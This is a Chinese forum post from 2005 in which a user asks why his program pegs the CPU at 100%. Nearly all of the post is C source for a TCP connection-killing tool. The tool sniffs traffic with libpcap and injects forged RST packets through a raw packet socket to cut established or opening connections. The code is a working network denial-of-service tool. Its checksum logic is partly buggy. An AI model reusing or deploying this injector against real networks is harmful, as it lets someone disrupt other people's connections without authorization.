
平台论坛博客文库

› 论坛 › 程序设计 › C/C++ › 为什么这个一运行就占100%CPU？

12 / 2 页下一页

为什么这个一运行就占100%CPU？ [复制链接]

rootclown

家境小康

论坛徽章:: 0

电梯直达

1楼 [收藏(0)] [报告]

发表于 2005-05-04 22:52 |只看该作者 |倒序浏览

我用pcap 抓TCP包，然后试图切断已建立或正在建立的连接，但程序一运行
就会占用将近100%的CPU。我原来用PACKET socket 写过一个类似的，没有这种情况呀，请帮我看一下？

#include<unistd.h>;
#include<sys/types.h>;
#include<sys/socket.h>;
#include<linux/in.h>;
#include<linux/if.h>;
#include<asm/types.h>;
#include<linux/if_packet.h>;
#include<linux/if_ether.h>;
#include<linux/ip.h>;
#include<linux/tcp.h>;
#include<linux/sockios.h>;
#include<pcap.h>;
struct psuedohdr {
__u32 source_address;
__u32 dest_address;
unsigned char place_holder;
unsigned char protocol;
unsigned short length;
} psuedohdr;
void open_raw_sock(void);
void analyze(u_char *,const struct pcap_pkthdr *,const u_char *);
void analyze(u_char *,const struct pcap_pkthdr *,const u_char *);
void killtcp(struct ethhdr *,struct iphdr *,struct tcphdr *);
void build_eth(struct ethhdr **,struct ethhdr*);
void build_ip(struct iphdr **,struct iphdr *);
void build_tcp(struct tcphdr **,struct tcphdr *);
void __kill_tcp(char *);
int get_ifindex(int);
int in_cksum(u_short *,int);
unsigned short trans_check(unsigned char , char *, int , __u32 , __u32 );
void err_quit(char *);
void usage(void);
int eflag=0;
int xflag=0;
int sockk;
struct sockaddr_ll sll;
main(int argc,char **argv)
{
pcap_t *handle;
extern int opterr;
extern char *optarg;
char c;
char *dev;
struct bpf_program filter;
char *filterp="tcp";
char errbuf[PCAP_ERRBUF_SIZE];
__u32 net,mask;
opterr=0;
while((c=getopt(argc,argv,"ex:"))!=EOF)
{
switch(c)
{
case 'e':eflag=1;break;
case 'x':xflag=1;filterp=optarg;break;
default:
usage();
exit(0);
}
}
open_raw_sock();
if(!(dev=pcap_lookupdev(errbuf)))
err_quit("pcap_lookupdev");
if(pcap_lookupnet(dev,&net,&mask,errbuf)<0)
err_quit("pcap_lookupnet");
if(!(handle=pcap_open_live(dev,2048,1,-1,errbuf)))
err_quit("pcap_open_live");
if(1)
{
if(pcap_compile(handle,&filter,filterp,0,mask)<0)
err_quit("pcap_compile");
if(pcap_setfilter(handle,&filter)<0)
err_quit("pcap_setfilter");
}
pcap_loop(handle,-1,analyze,NULL);
}
void analyze(u_char *usr,const struct pcap_pkthdr *pkthdr,const u_char *packet)
{
struct ethhdr *eth;
struct iphdr *ip;
struct tcphdr *tcp;
eth=(struct ethhdr *)packet;
ip=(struct iphdr *)(eth+1);
tcp=(struct tcphdr *)((u_char *)ip+(ip->;ihl<<2));
killtcp(eth,ip,tcp);
}
void killtcp(struct ethhdr *eth,struct iphdr *ip,struct tcphdr *tcp)
{
char bufk[2048];
struct ethhdr *ethk;
struct iphdr *ipk;
struct tcphdr *tcpk;
memset(bufk,0,2048);
ethk=(struct ethhdr *)bufk;
ipk=(struct iphdr *)(ethk+1);
tcpk=(struct tcphdr *)(ipk+1);
build_eth(&ethk,eth);
build_ip(&ipk,ip);
build_tcp(&tcpk,tcp);
__kill_tcp(bufk);
}
void build_eth(struct ethhdr **ethk,struct ethhdr *eth)
{
struct ethhdr *p=*ethk;
memcpy(p->;h_dest,eth->;h_source,6);
memcpy(p->;h_source,eth->;h_dest,6);
memcpy(&p->;h_proto,&eth->;h_proto,2);
}
void build_ip(struct iphdr **ipk,struct iphdr *ip)
{
struct iphdr *p=*ipk;
p->;ihl=5;
p->;version=4;
p->;tos=0;////////////////////////
p->;tot_len=htons(sizeof(struct iphdr)+sizeof(struct tcphdr));
p->;id=htons(1234);
p->;frag_off=0;
p->;ttl=64;
p->;protocol=IPPROTO_TCP;
memcpy((u_char *)&p->;saddr,(u_char *)&ip->;daddr,sizeof(__u32));
memcpy((u_char *)&p->;daddr,(u_char *)&ip->;saddr,sizeof(__u32));
p->;check=(u_short)(in_cksum((u_short *)p,sizeof(struct iphdr)));////////////////////////////
}
void build_tcp(struct tcphdr **tcpk,struct tcphdr *tcp)
{
struct tcphdr *p=*tcpk;
memcpy(&p->;source,&tcp->;dest,sizeof(__u16));
memcpy(&p->;dest,&tcp->;source,sizeof(__u16));
if(tcp->;syn==1)
{
__u32 ack_seq=htonl(ntohl(tcp->;seq)+1);
memcpy(&p->;ack_seq,&ack_seq,sizeof(__u32));
}
else
p->;seq=htonl(1111111);
p->;rst=1;
p->;doff=5;
p->;window=htons(1024);
p->;check=(trans_check(IPPROTO_TCP,(unsigned char * )p,sizeof(struct tcphdr ),tcp->;source,tcp->;dest));///////////////////////
}
void open_raw_sock(void)
{
u_char *mac="\x00\x03\x0d\x09\x91\x7f";
if((sockk=socket(PF_PACKET,SOCK_RAW,htons(ETH_P_IP)))<0)
err_quit("socket");
memset(&sll,0,sizeof(sll));
// sll.sll_protocol=htons(ETH_P_IP);
// sll.sll_ifindex=get_ifindex(sockk);
sll.sll_family=AF_PACKET;
memcpy(sll.sll_addr,mac,6);
sll.sll_halen=6;
sll.sll_ifindex=get_ifindex(sockk);
}
void __kill_tcp(char *frame)
{
int n;
int len;
len=sizeof(struct ethhdr)+sizeof(struct iphdr)+sizeof(struct tcphdr);
n=sendto(sockk,frame,len,0,(struct sockaddr *)&sll,sizeof(sll));
if(n!=len)
err_quit("sendto");
}
int get_ifindex(int s)
{
struct ifreq ifr;
memset(&ifr,0,sizeof(ifr));
strncpy(ifr.ifr_name,"eth0",sizeof(ifr.ifr_name)-1);
ifr.ifr_name[sizeof(ifr.ifr_name)-1]='\0';
if(ioctl(s,SIOCGIFINDEX,&ifr)<0)
err_quit("ioctl");
return ifr.ifr_ifindex;
}
#undef ADDCARRY
#define ADDCARRY(sum) { \
if (sum & 0xffff0000) { \
sum &= 0xffff; \
sum++; \
} \
}
int in_cksum(u_short *addr, int len)
{
union word {
char c[2];
u_short s;
} u;
int sum = 0;
while (len >; 0) {
/*
* add by words.
*/
while ((len -= 2) >;= 0) {
if ((unsigned long)addr & 0x1) {
/* word is not aligned */
u.c[0] = *(char *)addr;
u.c[1] = *((char *)addr+1);
sum += u.s;
addr++;
} else
sum += *addr++;
ADDCARRY(sum);
}
if (len == -1)
/*
* Odd number of bytes.
*/
u.c[0] = *(u_char *)addr;
}
if (len == -1) {
/* The last mbuf has odd # of bytes. Follow the
standard (the odd byte is shifted left by 8 bits) */
u.c[1] = 0;
sum += u.s;
ADDCARRY(sum);
}
return (~sum & 0xffff);
}
unsigned short trans_check(unsigned char proto,
char *packet,
int length,
__u32 source_address,
__u32 dest_address)
{
char *psuedo_packet;
unsigned short answer;
psuedohdr.protocol = proto;
psuedohdr.length = htons(length);
psuedohdr.place_holder = 0;
psuedohdr.source_address = source_address;
psuedohdr.dest_address = dest_address;
if((psuedo_packet =(char *)malloc(sizeof(psuedohdr) + length)) == NULL) {
perror("malloc");
exit(1);
}
memcpy(psuedo_packet,&psuedohdr,sizeof(psuedohdr));
memcpy((psuedo_packet + sizeof(psuedohdr)),
packet,length);
answer = (unsigned short)in_cksum((unsigned short *)psuedo_packet,
(length + sizeof(psuedohdr)));
free(psuedo_packet);
return answer;
}
void err_quit(char *p)
{
perror(p);
exit(1);
}
void usage(void)
{
}